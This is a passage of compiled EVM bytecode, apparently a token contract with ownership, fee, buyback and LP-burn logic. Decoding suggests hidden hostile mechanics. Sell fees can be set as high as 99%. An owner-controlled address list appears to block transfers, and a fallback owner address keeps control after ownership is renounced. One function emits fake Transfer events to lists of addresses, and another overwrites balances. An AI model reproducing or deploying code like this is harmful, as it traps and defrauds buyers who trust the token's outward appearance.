73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b6112b1612a54565b633b9aca006103e860016112c36111bf565b6112cd91906148bc565b6112d79190614945565b6112e19190614945565b811015611323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131a906149e8565b60405180910390fd5b633b9aca008161133391906148bc565b600c8190555050565b6000611349848484612ad2565b61140a84611355612881565b61140585604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113bb612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b61141d612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ed9190614a1d565b6040518363ffffffff1660e01b815260040161150a929190614a4a565b602060405180830381865afa158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b9190614a1d565b905060005b848490508110156115fa5784848281811061156e5761156d614a73565b5b90506020020160208101906115839190614233565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df9190614450565b60405180910390a380806115f290614aa2565b915050611550565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b600061173b61169f612881565b8461173685600360006116b0612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b61174d612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117bf612a54565b60005b8383905081101561185e5781601760008686858181106117e5576117e4614a73565b5b90506020020160208101906117fa9190614233565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061185690614aa2565b9150506117c2565b50505050565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118ce612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611994612a54565b6102588310156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090614b5d565b60405180910390fd5b6103e882111580156119ec575060008210155b611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b6000611a62612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a8c612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611b1b612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611b439190614c0f565b611b4d9190614c0f565b60188190555060196018541115611b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9090614cb1565b60405180910390fd5b505050565b611ba6612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c68612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c949061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611cc09061485b565b8015611d0d5780601f10611ce257610100808354040283529160200191611d0d565b820191906000526020600020905b815481529060010190602001808311611cf057829003601f168201915b5050505050905090565b601b5481565b611d25612a54565b611d2f828261365d565b5050565b60115481565b60225481565b601f5481565b611d4d612a54565b611d578282611f47565b5050565b6000611e1e611d68612881565b84611e1985604051806060016040528060258152602001615a9a6025913960036000611d92612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611e42611e3b612881565b8484612ad2565b6001905092915050565b611e54612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611f4f612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b612046612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120e3919061427b565b60405180910390a25050565b6120f7612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d5461211f9190614c0f565b6121299190614c0f565b601c819055506063601c541115612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90614d1d565b60405180910390fd5b505050565b612182612a54565b633b9aca006103e860056121946111bf565b61219e91906148bc565b6121a89190614945565b6121b29190614945565b8110156121f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121eb90614daf565b60405180910390fd5b633b9aca008161220491906148bc565b600b8190555050565b612215612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612283600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a84565b50565b602460009054906101000a900460ff1681565b600c5481565b60006122a9612a54565b620186a060016122b76111bf565b6122c191906148bc565b6122cb9190614945565b82101561230d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230490614e41565b60405180910390fd5b6103e8600a61231a6111bf565b61232491906148bc565b61232e9190614945565b821115612370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236790614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b600061241d612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b61244d612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b490614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611c0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611c0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611c0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b546130498361187d565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b546131928361187d565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee3061187d565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613638919061432f565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561395e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161395590615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c5906153c5565b60405180910390fd5b6139d9838383613e44565b613a4581604051806060016040528060268152602001615a4c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ada81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b7a9190614450565b60405180910390a3505050565b600080613b92613e49565b90508091505090565b6000613ba63061187d565b90506000602254602054602154613bbd9190614c0f565b613bc79190614c0f565b9050600080831480613bd95750600082145b15613be657505050613d21565b6014600d54613bf591906148bc565b831115613c0e576014600d54613c0b91906148bc565b92505b600060028360215486613c2191906148bc565b613c2b9190614945565b613c359190614945565b90506000613c4c8286613eed90919063ffffffff16565b90506000479050613c5c82613f37565b6000613c718247613eed90919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cd1906158b4565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5f91906145bf565b602060405180830381865afa158015613d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da09190615098565b90506000613db96012548361282390919063ffffffff16565b9050613dc484614174565b613dd65760008114613dd557600080fd5b5b600192505050919050565b60008083118290613e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1f919061432f565b60405180910390fd5b5060008385613e379190614945565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ec45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f9565b905092915050565b6000600267ffffffffffffffff811115613f5457613f536158c9565b5b604051908082528060200260200182016040528015613f825781602001602082028036833780820191505090505b5090503081600081518110613f9a57613f99614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561403f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140639190614a1d565b8160018151811061407757614076614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140dc307f000000000000000000000000000000000000000000000000000000000000000084612889565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161413e9594939291906159f1565b600060405180830381600087803b15801561415857600080fd5b505af115801561416c573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614200826141d5565b9050919050565b614210816141f5565b811461421b57600080fd5b50565b60008135905061422d81614207565b92915050565b600060208284031215614249576142486141cb565b5b60006142578482850161421e565b91505092915050565b60008115159050919050565b61427581614260565b82525050565b6000602082019050614290600083018461426c565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142d05780820151818401526020810190506142b5565b838111156142df576000848401525b50505050565b6000601f19601f8301169050919050565b600061430182614296565b61430b81856142a1565b935061431b8185602086016142b2565b614324816142e5565b840191505092915050565b6000602082019050818103600083015261434981846142f6565b905092915050565b6000819050919050565b61436481614351565b811461436f57600080fd5b50565b6000813590506143818161435b565b92915050565b6000806040838503121561439e5761439d6141cb565b5b60006143ac8582860161421e565b92505060206143bd85828601614372565b9150509250929050565b6000819050919050565b60006143ec6143e76143e2846141d5565b6143c7565b6141d5565b9050919050565b60006143fe826143d1565b9050919050565b6000614410826143f3565b9050919050565b61442081614405565b82525050565b600060208201905061443b6000830184614417565b92915050565b61444a81614351565b82525050565b60006020820190506144656000830184614441565b92915050565b600060208284031215614481576144806141cb565b5b600061448f84828501614372565b91505092915050565b6000806000606084860312156144b1576144b06141cb565b5b60006144bf8682870161421e565b93505060206144d08682870161421e565b92505060406144e186828701614372565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126145105761450f6144eb565b5b8235905067ffffffffffffffff81111561452d5761452c6144f0565b5b602083019150836020820283011115614549576145486144f5565b5b9250929050565b600080600060408486031215614569576145686141cb565b5b600084013567ffffffffffffffff811115614587576145866141d0565b5b614593868287016144fa565b935093505060206145a686828701614372565b9150509250925092565b6145b9816141f5565b82525050565b60006020820190506145d460008301846145b0565b92915050565b600060ff82169050919050565b6145f0816145da565b82525050565b600060208201905061460b60008301846145e7565b92915050565b61461a81614260565b811461462557600080fd5b50565b60008135905061463781614611565b92915050565b600080600060408486031215614656576146556141cb565b5b600084013567ffffffffffffffff811115614674576146736141d0565b5b614680868287016144fa565b9350935050602061469386828701614628565b9150509250925092565b6000806000606084860312156146b6576146b56141cb565b5b60006146c486828701614372565b93505060206146d586828701614372565b92505060406146e686828701614628565b9150509250925092565b60008060408385031215614707576147066141cb565b5b60006147158582860161421e565b925050602061472685828601614628565b9150509250929050565b600080600060608486031215614749576147486141cb565b5b600061475786828701614372565b935050602061476886828701614372565b925050604061477986828701614372565b9150509250925092565b600061478e826143f3565b9050919050565b61479e81614783565b82525050565b60006020820190506147b96000830184614795565b92915050565b6000602082840312156147d5576147d46141cb565b5b60006147e384828501614628565b91505092915050565b60008060408385031215614803576148026141cb565b5b60006148118582860161421e565b92505060206148228582860161421e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061487357607f821691505b602082108114156148875761488661482c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148c782614351565b91506148d283614351565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561490b5761490a61488d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061495082614351565b915061495b83614351565b92508261496b5761496a614916565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149d2602f836142a1565b91506149dd82614976565b604082019050919050565b60006020820190508181036000830152614a01816149c5565b9050919050565b600081519050614a1781614207565b92915050565b600060208284031215614a3357614a326141cb565b5b6000614a4184828501614a08565b91505092915050565b6000604082019050614a5f60008301856145b0565b614a6c60208301846145b0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614aad82614351565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ae057614adf61488d565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b476033836142a1565b9150614b5282614aeb565b604082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bd96030836142a1565b9150614be482614b7d565b604082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000614c1a82614351565b9150614c2583614351565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c5a57614c5961488d565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c9b601d836142a1565b9150614ca682614c65565b602082019050919050565b60006020820190508181036000830152614cca81614c8e565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614d07601d836142a1565b9150614d1282614cd1565b602082019050919050565b60006020820190508181036000830152614d3681614cfa565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d996024836142a1565b9150614da482614d3d565b604082019050919050565b60006020820190508181036000830152614dc881614d8c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614e2b6035836142a1565b9150614e3682614dcf565b604082019050919050565b60006020820190508181036000830152614e5a81614e1e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614ebd6032836142a1565b9150614ec882614e61565b604082019050919050565b60006020820190508181036000830152614eec81614eb0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f4f6026836142a1565b9150614f5a82614ef3565b604082019050919050565b60006020820190508181036000830152614f7e81614f42565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614fbb6020836142a1565b9150614fc682614f85565b602082019050919050565b60006020820190508181036000830152614fea81614fae565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b600061504d602a836142a1565b915061505882614ff1565b604082019050919050565b6000602082019050818103600083015261507c81615040565b9050919050565b6000815190506150928161435b565b92915050565b6000602082840312156150ae576150ad6141cb565b5b60006150bc84828501615083565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150fb601b836142a1565b9150615106826150c5565b602082019050919050565b6000602082019050818103600083015261512a816150ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061518d6024836142a1565b915061519882615131565b604082019050919050565b600060208201905081810360008301526151bc81615180565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061521f6022836142a1565b915061522a826151c3565b604082019050919050565b6000602082019050818103600083015261524e81615212565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061528b6020836142a1565b915061529682615255565b602082019050919050565b600060208201905081810360008301526152ba8161527e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061531d6025836142a1565b9150615328826152c1565b604082019050919050565b6000602082019050818103600083015261534c81615310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6